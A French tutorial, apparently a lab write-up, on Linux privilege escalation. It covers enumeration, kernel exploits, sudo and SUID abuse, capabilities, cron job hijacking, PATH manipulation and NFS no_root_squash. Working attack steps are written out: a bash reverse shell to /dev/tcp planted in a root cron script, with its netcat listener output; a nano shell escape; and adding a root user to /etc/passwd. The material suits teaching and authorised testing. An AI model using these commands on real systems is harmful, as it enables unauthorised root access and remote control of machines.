Il existe différents moyens pour y arriver. Cela dépendra de la configuration de la cible: version du noyau, applications installées, langages d eprogrammation, mots de passe des autres utilisateurs, etc…
L’objectif est évidemment d’obtenir les droits pour accéder à des éléments non-accessibles pour les utilisateurs. C’est une phase essentielle puisque l’objectif est de devenir administrateur du système. Cela nous permettra de modifier des mots de passe, contourner des contrôles d’accès , modifier des configurations, maintenir l’accès, modifier les privilèges d’autres utilisateurs, exécuter des commandes sensibles.
Enumération
Les premières commandes à tester consistent à connaître le nom de la machine, le système, la version du système.
hostname (retourne le hostname)
uname -a (informations sur le kernel)
cat /proc/version (informations sur le kernel + autres)
cat /etc/issue (informations sur le système d'exploitation)
Un autre élément à vérifier est la liste des processus. La commande ps existe pour cela.
ps (liste les processus en cours)
ps -A (liste tous les processus)
ps aux (liste les processus pour tous les utilisateurs)
Une autre chose à vérifier concerne les variables d’environnement.
env (liste les variables d'environnement)
On s’intéressera notamment aux variables HOME, PATH et SHELL
J’utilise beaucoup la commande sudo -l. Cette commande permet de voir les commandes qu’un utilisateur peut exécuter avec les droits root.
sudo -l (liste les commandes qu'un utilisateur peut utiliser avec sudo)
Voici d’autres commandes à connaître.
ls -lah (liste tous les éléments d'un répertoire de façon lisible)
id (permet de connaître le niveau de privilèges ainsi que les groupes d'un utilisateur)
cat /etc/passwd (connaître les utilisateurs d'un système)
history (historique des commandes: on peut y trouver un pseudo voire un mot de passe)
ip a (informations sur les interfaces réseau: adresse IP, MAC, etc...)
ip route (en savoir un peu plus sur le routage)
netstat -a (liste tous les ports en écoute et les connexions établies)
netstat -at (liste tous les protocoles TCP)
netstat -au (liste tous les protocoles UDP)
netstat -l (liste les ports dans un "listening" mode)
netstat -s (statistiques réseau par protocole)
netstat -tp (liste les connexions avec le nom du service et son PID)
netstat -i (statistiques interfaces réseaux)
La commande find sera aussi très utile pour chercher quelque chose dans le système. On peut notamment trouver des fichiers ayant un bit SUID: celui-ci permet à un fichier d’être lancé avec le niveau du privilège du propriétaire du fichier.
find / -perm -u=s -type f 2>/dev/null (chercher des fichiers avec un bit SUID)
Enumération: automatisation
En parallèle d’une énumération manuelle, il est bon d’utiliser des outils. Il faudra veiller à choisir le bon outil selon la version du système à énumérer.
Voir ces outils:
Exploits Kernel
Le kernel gère la communication entre composants et applications. Un exploit sur ce kernel nous mènera aux droits root. Il convient d’identifier la version du kernel, trouver un exploit et lancer cet exploit.
Une tentative d’exploit qui échoue, peut mener à un crash du système cible. Il faudra donc peser le pour et le contre avant de tester. Il faudra comprendre parfaitement le fonctionnement de l’exploit avant de le lancer.
On utilisera un moteur de recherche, linuxkernelcves.com ou un outil tel que Linux Exploit Suggester comme nous l’avons vu.
Voici un exemple d’attaque sur un serveur Linux version 3.13.0-24-generic.
On trouve un script sur exploit-db. On peut le trouver également via searchsploit.
On va lancer un serveur sur notre machine d’attaque.
root@ip-10-10-100-203:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Puis on récupère le fichier sur le serveur.
root@ip-10-10-100-203:/tmp# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.236.36 - - [23/Dec/2022 12:46:22] "GET /37292.c HTTP/1.1" 200 -
10.10.236.36 - - [23/Dec/2022 12:47:31] code 404, message File not found
10.10.236.36 - - [23/Dec/2022 12:47:31] "GET /7292.c HTTP/1.1" 404 -
10.10.236.36 - - [23/Dec/2022 12:48:55] "GET /37292.c HTTP/1.1" 200 -
10.10.236.36 - - [23/Dec/2022 12:51:33] "GET /37292.c HTTP/1.1" 200 -
10.10.236.36 - - [23/Dec/2022 12:58:36] "GET /37292.c HTTP/1.1" 200 -
Une fois l’exploit installé, on le convertit et on le lance pour obtenir les droits root.
Sudo
Cette commande nous permet de lancer un programme avec les privilèges root. Dans certaines conditions, les administrateurs peuvent être amenés à donner plus de privilèges aux utilisateurs.
Chaque utilisateur peut vérifier son état lié aux privilèges root avec sudo -l
.
$ whoami
karen
$ sudo -l
Matching Defaults entries for karen on ip-10-10-140-144:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User karen may run the following commands on ip-10-10-140-144:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano
On voit qu’on peut utiliser 3 programmes en mode root sans utiliser de mot de passe.
Nous allons utiliser la commande nano
.
On tape sudo nano
, Ctrl + R et Ctrl + X, on ajoute cette commande: reset; bash 1>&0 2>&0
Puis on tape sur entrée: les droits root sont obtenus.
Ceci est un exemple. Il faudra se documenter pour les autres commandes permettant d’élever nos privilèges.
SUID
Les niveaux de privilège peuvent changer avec SUID (Set-User IDentification) et SGID (Set-Group IDentification).
Cela permet à certains fichiers d’être exécutés avec le niveau de permission du propriétaire du fichier ou du groupe du fichier. Pour lister ces fichiers, la commande sera:
find / -type f -perm -04000 -ls 2>/dev/null
root@ip-10-10-87-207:~# find / -type f -perm -04000 -ls 2>/dev/null
1054561 112 -rwsr-xr-x 1 root root 113336 Jun 9 2020 /sbin/mount.nfs
393631 304 -rwsr-xr-x 1 root root 309936 Nov 1 10:43 /opt/BurpSuiteCommunity/burpbrowser/107.0.5304.68/chrome-sandbox
393249 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
393227 44 -rwsr-xr-x 1 root root 43088 Mar 5 2020 /bin/mount
393228 28 -rwsr-xr-x 1 root root 26696 Mar 5 2020 /bin/umount
393352 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
393354 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
1052416 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/bin/su
1052397 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/bin/mount
1052422 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/bin/umount
1052402 64 -rwsr-xr-x 1 root root 65272 Aug 3 2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/bin/ping
1053039 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/usr/bin/newgrp
1052995 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/usr/bin/gpasswd
1053050 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/usr/bin/passwd
1052948 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/usr/bin/chsh
1052945 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/usr/bin/chfn
1349136 552 -rwsr-xr-x 1 root root 564544 May 23 2014 /var/lib/docker/overlay2/46c951fc98a43dc8f672893e16206bfe5ad1c6fc2702004be831e0906b1d5a48/merged/bin/busybox
1321814 428 -rwsr-xr-x 1 root root 436552 Oct 6 2019 /var/lib/docker/overlay2/07ce2796954c20ec9838dfd0178ea4545d3060c2d13998992980c4f39d265d29/diff/usr/lib/openssh/ssh-keysign
1300862 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/bin/su
1300847 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/bin/mount
1300868 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/bin/umount
1301377 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/usr/bin/newgrp
1301334 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/usr/bin/gpasswd
1301387 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/usr/bin/passwd
1301288 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/usr/bin/chsh
1301285 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/usr/bin/chfn
1349136 552 -rwsr-xr-x 1 root root 564544 May 23 2014 /var/lib/docker/overlay2/b1edbd94395a0d2be6536d25cebd166c92e61b260f954af4e5c161c9a494db3f/diff/bin/busybox
1182832 52 -rwsr-xr-- 1 root syslog 51184 Jul 5 2020 /var/lib/docker/overlay2/ce1c3b656fd9b892a0cfb59ea7e0de97ed7cddbf32509f562f7a3fc7e95ecfe1/diff/usr/lib/dbus-1.0/dbus-daemon-launch-helper
1182468 156 -rwsr-xr-x 1 root root 157192 Feb 2 2020 /var/lib/docker/overlay2/ce1c3b656fd9b892a0cfb59ea7e0de97ed7cddbf32509f562f7a3fc7e95ecfe1/diff/usr/bin/sudo
690943 372 -rwsr-xr-- 1 root dip 378600 Jul 23 2020 /usr/sbin/pppd
926485 16 -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
657576 44 -rwsr-xr-- 1 root messagebus 42992 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
660024 100 -rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
655731 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
659249 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
692780 12 -rwsr-sr-x 1 root root 10232 Sep 4 2020 /usr/lib/xorg/Xorg.wrap
657127 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp
655892 148 -rwsr-xr-x 1 root root 149080 Jan 31 2020 /usr/bin/sudo
658342 76 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd
658500 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
668752 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
669168 40 -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newuidmap
658343 60 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd
685692 24 -rwsr-xr-x 1 root root 22528 Jun 28 2019 /usr/bin/arping
658520 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
658340 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh
669167 40 -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newgidmap
658339 76 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
On peut comparer ces exécutables avec la liste de GTFOBins.
Un exemple d’utilisation est la commande nano
. Nous pouvons ouvrir et sauvegarder les fichiers passwd.txt et shadow.txt dans un fichier. Puis on ajoute un nouvel utilisateur avec les droits root. Dans le fichier /etc/passwd, la ligne du nouvel utilisateur devra se finir par root:/bin/bash
Il n’y aura plus qu’à se connecter avec cet utilisateur pour obtenir les droits root.
Capacités
Une autre méthode utilisée par les administrateurs pour élever le niveau de privilèges d’un processus ou d’un binaire est appelé « Capabilities ». Celles-ci ont une meilleure granularité.
On utilise la commande getcap
pour les lister.
On peut donc utiliser vim
. Celui-ci n’a pas de bit SUID.
On obtient les droits root avec la commande et le payload ci-dessus.
Cron Jobs
Les cron jobs sont des tâches effectuées à des moments spécifiques. Par défaut, ils sont lancés avec les droits de leur propriétaire.
Si la tâche planifiée est lancée avec les privilèges root, et que le script peut être modifié, alors notre script aura les privilèges root.
On trouve ces tâches dans le fichier /etc/crontab
.
Ici, on voit que le fichier backup.sh est lancé toutes les minutes. Ce fichier crée un backup d’un fichier xls. Il nous suffit de modifier le script pour établir un reverse shell.
On modifie le script comme ceci:
#!/bin/bash
bash -i >& /dev/tcp/10.10.87.207/4444 0>&1
Puis on lance un listener sur notre machine et on attend que le cron job soit exécuté côté serveur…
root@ip-10-10-87-207:~# nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
connect to [10.10.87.207] from [10.10.100.50] 43550
bash: cannot set terminal process group (4483): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-10-100-50:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ip-10-10-100-50:~# whoami
whoami
root
root@ip-10-10-100-50:~#
Il est intéressant de se souvenir de ce passage pour mener aux droits root. Parfois, un administrateur supprime le script lorsqu’il devient inutile. Par contre, il peut ne pas supprimer le cron job !
PATH
Si un dossier dont l’utilisateur a les droits d’écriture, est localisé dans le PATH, on peut peut-être détourner une application pour lancer un script. PATH est une variable d’environnement qui indique au système d’exploitation, où trouver les exécutables.
Pour chaque commande qui n’est pas dans le shell, ou qui n’est pas définie avec un chemin absolu, Linux cherchera dans les dossiers définis par la variable PATH.
root@ip-10-10-246-40:~# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/lib/postgresql/10/bin/:/opt/smbmap
root@ip-10-10-246-40:~# find / -writable 2>/dev/null | grep usr | cut -d "/" -f 2,3 | sort -u
etc/apparmor.d
opt/metasploit-framework-5101
usr
usr/bin
usr/games
usr/i686-w64-mingw32
usr/include
usr/lib
usr/lib32
usr/libexec
usr/local
usr/sbin
usr/share
usr/src
usr/x86_64-w64-mingw32
var/lib
Pour ajouter un autre dossier dans PATH, on fera:
/export PATH=/tmp:$PATH
Pour utiliser cette vulnérabilité, il convient donc dans un premier temps de vérifier quels dossiers sont dans la variable $PATH; si l’utilisateur courant a des droits d’écriture pour certains de ces dossiers; si il peut modifier la variable $PATH; si il y a un script qui peut être démarré et qui sera affecté par cette vulnérabilité.
NFS
Nous pouvons obtenir une élévation de privilèges via accès externe: SSH, Telnet. Un autre moyen est un shell réseau mal configuré. La configuration NFS (Network File Sharing) se trouve dans /etc/exports
. Ce fichier est créé durant l’installation du serveur et peut être lu par les utilisateurs.
L’élément le plus important à regarder est la présence de l’option « no_root_squash ». Par défaut, NFS change l’utilisateur root en nfsnobody et empêche tout fichier de fonctionner avec les privilèges root. Si l’option « no_root_squash » est présente pour un partage en écriture, on peut créer un exécutable avec un bit SUID et le lancer sur la machine cible.
Nous allons commencer par énumérer les « mountable shares » depuis notre machine.
root@ip-10-10-36-136:~# showmount -e 10.10.231.56
Export list for 10.10.231.56:
/home/ubuntu/sharedfolder *
/tmp *
/home/backup *
Puis nous allons monter l’un de ces partages « no_root_squash » sur notre machine et commencer notre exécutable.
root@ip-10-10-36-136:~# mkdir /tmp/testattack
root@ip-10-10-36-136:~# mount -o rw 10.10.231.56:/backups /tmp/testattack
mount.nfs: access denied by server while mounting 10.10.231.56:/backups
root@ip-10-10-36-136:~# mount -o rw 10.10.231.56:/backups /tmp/testattack
Puis on compile le code et on lui ajoute le bit SUID.
root@ip-10-10-36-136:~# nano nfs.c
root@ip-10-10-36-136:~# gcc nfs.c -o nfs -w
root@ip-10-10-36-136:~# chmod +s nfs
root@ip-10-10-36-136:~# ls -l nfs
-rwsr-sr-x 1 root root 8392 Dec 23 20:08 nfs
Il suffira de lancer le script sur la machine cible et nous obtiendrons les droits root.
Voici quelques liens intéressants concernant l’élévation de privilèges.
- https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
- https://payatu.com/guide-linux-privilege-escalation
Dans tous les cas, lorsque l’on cherchera à élever nos privilèges dans un système, la logique restera la même.
- Kernel Exploit
- Service Exploit
- Permissions faibles dans /etc/shadow et /etc/passwd
- sudo -l
- Variables d’environnement
- Cron Jobs
- variable d’environnement PATH
- Exécutables SUID/SGID
- recherche de mots de passe ou de clés dans le fichier history, les fichiers de configuration
- recherche de clé SSH
- NFS
- scripts d’élévation de privilèges